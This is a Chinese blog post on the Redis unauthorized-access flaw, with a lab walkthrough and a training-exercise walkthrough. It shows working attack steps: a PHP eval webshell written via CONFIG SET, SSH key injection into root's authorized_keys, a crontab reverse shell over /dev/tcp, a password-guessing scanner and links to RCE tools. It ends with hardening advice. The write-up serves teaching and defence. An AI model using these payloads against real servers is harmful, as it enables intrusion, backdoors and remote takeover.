• Redis未授权漏洞


    Redis未授权漏洞

    引言

    在Web应用发展的初期,那时关系型数据库受到了较为广泛的关注和应用,原因是因为那时候Web站点基本上访问和并发不高、交互也较少。而在后来,随着访问量的提升,使用关系型数据库的Web站点多多少少都开始在性能上出现了一些瓶颈,而瓶颈的源头一般是在磁盘的I/O上。而随着互联网技术的进一步发展,各种类型的应用层出不穷,这导致在当今云计算、大数据盛行的时代,对性能有了更多的需求,主要体现在以下四个方面:

    1. 低延迟的读写速度:应用快速地反应能极大地提升用户的满意度
    2. 支撑海量的数据和流量:对于搜索这样大型应用而言,需要利用PB级别的数据和能应对百万级的流量
    3. 大规模集群的管理:系统管理员希望分布式应用能更简单的部署和管理
    4. 庞大运营成本的考量:IT部门希望在硬件成本、软件成本和人力成本能够有大幅度地降低

    为了克服这一问题,NoSQL应运而生,它同时具备了高性能、可扩展性强、高可用等优点,受到广泛开发人员和仓库管理人员的青睐。

    Redis是什么

    Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库,其具备如下特性:

    • 基于内存运行,性能高效
    • 支持分布式,理论上可以无限扩展
    • key-value存储系统
    • 开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API

    相比于其他数据库类型,Redis具备的特点是:

    • C/S通讯模型
    • 单进程单线程模型
    • 丰富的数据类型
    • 操作具有原子性
    • 持久化
    • 高并发读写
    • 支持lua脚本

    哪些大厂在使用Redis?

    • github
    • twitter
    • 微博
    • Stack Overflow
    • 阿里巴巴
    • 百度
    • 美团
    • 搜狐

    Redis的应用场景有哪些?

    Redis 的应用场景包括:缓存系统(“热点”数据:高频读、低频写)、计数器、消息队列系统、排行榜、社交网络和实时系统。

    img

    Redis的数据类型及主要特性

    Redis提供的数据类型主要分为5种自有类型和一种自定义类型,这5种自有类型包括:String类型、哈希类型、列表类型、集合类型和顺序集合类型。

    img

    String类型:

    它是一个二进制安全的字符串,意味着它不仅能够存储字符串、还能存储图片、视频等多种类型, 最大长度支持512M。

    对每种数据类型,Redis都提供了丰富的操作命令,如:

    • GET/MGET
    • SET/SETEX/MSET/MSETNX
    • INCR/DECR
    • GETSET
    • DEL

    哈希类型:

    该类型是由field和关联的value组成的map。其中,field和value都是字符串类型的。

    Hash的操作命令如下:

    • HGET/HMGET/HGETALL
    • HSET/HMSET/HSETNX
    • HEXISTS/HLEN
    • HKEYS/HDEL
    • HVALS

    列表类型:

    该类型是一个插入顺序排序的字符串元素集合, 基于双链表实现。

    List的操作命令如下:

    • LPUSH/LPUSHX/LPOP/RPUSH/RPUSHX/RPOP/LINSERT/LSET
    • LINDEX/LRANGE
    • LLEN/LTRIM

    集合类型:

    Set类型是一种无顺序集合, 它和List类型最大的区别是:集合中的元素没有顺序, 且元素是唯一的。

    Set类型的底层是通过哈希表实现的,其操作命令为:

    • SADD/SPOP/SMOVE/SCARD
    • SINTER/SDIFF/SDIFFSTORE/SUNION

    Set类型主要应用于:在某些场景,如社交场景中,通过交集、并集和差集运算,通过Set类型可以非常方便地查找共同好友、共同关注和共同偏好等社交关系。

    顺序集合类型:

    ZSet是一种有序集合类型,每个元素都会关联一个double类型的分数权值,通过这个权值来为集合中的成员进行从小到大的排序。与Set类型一样,其底层也是通过哈希表实现的。

    ZSet命令:

    • ZADD/ZPOP/ZMOVE/ZCARD/ZCOUNT
    • ZINTER/ZDIFF/ZDIFFSTORE/ZUNION

    Redis的数据结构

    Redis的数据结构如下图所示:

    img

    redis未授权访问漏洞介绍以及危害

    1、什么是redis未授权访问漏洞

    Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

    简单说,漏洞的产生条件有以下两点:

    • redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
    • 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

    2.漏洞的危害:

    • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
    • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件
    • 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

    3.漏洞影响:

    img

    根据 ZoomEye 的探测,全球无验证可直接利用Redis 分布情况如下:

    1

    全球无验证可直接利用Redis TOP 10国家与地区:

    2

    二、漏洞复现

    下载并安装测试用的Redis,本次采用的是Ubuntu镜像:

    wget http://download.redis.io/releases/redis-2.8.17.tar.gz
    
    (如果下载不下来的话:http://distfiles.macports.org/redis/)
    

    img

    img

    解压安装包:tar xzf redis-2.8.17.tar.gz进入redis目录:cd redis-2.8.17安装:make
    

    img

    img

    make结束后,进入src目录:cd src,
    将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
    

    img

    返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:
    

    img

    使用/etc/目录下的reids.conf文件中的配置启动redis服务:
    

    img

    服务启动成功,我们克隆这台虚拟机

    一台作为攻击机,一台作为靶机

    攻击机IP:192.168.0.105

    img

    靶机IP:192.168.0.104

    img

    启动redis服务进程后,就可以使用测试攻击机程序redis-cli和靶机的redis服务交互了。 比如:
    

    img

    未授权访问漏洞测试

    使用redis客户端直接无账号成功登录redis:

    img

    从登录的结果可以看出该redis服务对公网开放,且未启用认证。

    利用redis写webshell

    利用前提:

    1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
    2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
    (我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)
    

    这里由于本地搭建,我们已经知道目录,我们把shell写入/home/bmjoker/目录下:

    img

    注:

    第三步写入webshell的时候,可以使用:

    set x "
    
    <?php phpinfo();?>
    
    "
    

    代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

    shell写入完成,我们在靶机上来证明:

    img

    成功写入shell。

    当数据库过大时,redis写shell的小技巧:

    <?php 
    set_time_limit(0);
    $fp=fopen('bmjoker.php','w');
    fwrite($fp,'<?php @eval($_POST["bmjoker"]);?>');
    exit();
    ?>
    

    利用"公私钥"认证获取root权限

    当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

    靶机中开启redis服务:redis-server /etc/redis.conf

    在靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(靶机是作为ssh服务器使用的)

    在攻击机中生成ssh公钥和私钥,密码设置为空:

    img

    进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:

    img

    链接靶机上的redis服务,

    将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

    img

    远程登录靶机的redis服务:redis-cli -h 192.168.0.104

    并使用 CONFIG GET dir 命令得到redis备份的路径:

    img

    更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

    img

    设置上传公钥的备份文件名字为authorized_keys:

    img

    检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,

    至此成功写入ssh公钥到靶机:

    img

    在攻击机上使用ssh免密登录靶机:ssh -i id_rsa root@192.168.0.104

    img

    利用私钥成功登录redis服务器!!!

    利用crontab反弹shell

    权限足够的情况下,利用redis写入文件到计划任务目录下执行。

    端口监听:

    在攻击者服务器上监听一个端口(未被占用的任意端口):

    nc -lvnp 4444
    

    img

    攻击详情:

    连接redis,写入反弹shell

    redis-cli -h 192.168.0.104
    set xxx "
    
    */1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1
    
    "
    

    img

    config set dir /var/spool/cron
    config set dbfilename root
    save
    

    img

    过一分钟左右就可以收到shell

    Pyhton脚本自动化测试

    可用来测试是否存在未授权或弱口令的情况:

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import socket
    import sys
    PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
    def check(ip, port, timeout):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send("INFO
    ")
            result = s.recv(1024)
            if "redis_version" in result:
                return u"未授权访问"
            elif "Authentication" in result:
                for pass_ in PASSWORD_DIC:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((ip, int(port)))
                    s.send("AUTH %s
    " %(pass_))
                    result = s.recv(1024)
                    if '+OK' in result:
                        return u"存在弱口令,密码:%s" % (pass_)
        except Exception, e:
            pass
    if __name__ == '__main__':
        ip=sys.argv[1]
        port=sys.argv[2]
        print check(ip,port, timeout=10)
    

    解决方案

    1、比较安全的办法是采用绑定IP的方式来进行控制。

    请在redis.conf文件找到如下配置

    # If you want you can bind a single interface, if the bind option is not``# specified all the interfaces will listen for incoming connections.``#``# bind 127.0.0.1
    

    把 #bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。

    2、设置密码,以提供远程登陆

    打开redis.conf配置文件,找到requirepass,然后修改如下:

    requirepass yourpassword``yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。`` ` `命令如下:``redis-cli -h yourIp -p yourPort``//启动redis客户端,并连接服务器``keys * ``//输出服务器中的所有key``报错如下``(error) ERR operation not permitted`` ` `这时候你可以用授权命令进行授权,就不报错了`` ` `命令如下:``auth youpassword
    

    Redis配置错误导致的远程代码漏洞溯源

    在刷墨者学院的题时,发现了这个不错的题,通过这个题了解Redis在低权限下的渗透思路:

    给出了IP:219.153.49.228 ,同时也给出了俩个端口一个是web也就是http端口 419387,一个是redis数据库端口 48055

    尝试用kali链接redis端口:

    redis-cli -h 219.153.49.228 -p 48055
    

    连接成功,本想用上文的方法,生成ssh密钥把内容写进redis数据库,然后把redis数据库的目录指定到/etc/.ssh/,这样就可以通过ssh直接连接服务器,但是这里权限不够,不能指定到/etc/.ssh/目录。

    img

    由于服务器是ubuntu的,apache容器,尝试指定一下默认的路径/var/www/html/来写入shell:

    img

    一波写入shell的操作,然后在web页面尝试访问我们写入shell的joker.php文件:

    img

    成功写入,尝试用菜刀链接,获取flag:

    img

    出现这样的问题还是权限控制的不足

    再网上收集两个比较方便的getshell python脚本

    1.https://github.com/n0b0dyCN/redis-rogue-server

    漏洞利用:

    img

    2.https://github.com/Ridter/redis-rce

    漏洞利用:

    img

    反弹到其他服务器:

    img


    参考自https://www.cnblogs.com/bmjoker/p/9548962.html

    参考自https://www.freebuf.com/vuls/162035.html

    参考自https://www.cnblogs.com/powertoolsteam/p/redis.html

  • 相关阅读:
    关于【最小生成树】
    题目1096:日期差值 (2009年上海交通大学计算机研究生机试真题)
    题目1432:叠筐 题目1126:打印极值点下标
    利用栈解决一些基本问题
    Redis与Python交互
    MongoDB与python 交互
    MongoDB安装
    mongodb基本操作
    MySQL与Python交互
    C++11 bind和function用法
  • 原文地址:https://www.cnblogs.com/tomyyyyy/p/13660968.html
Copyright © 2020-2023  润新知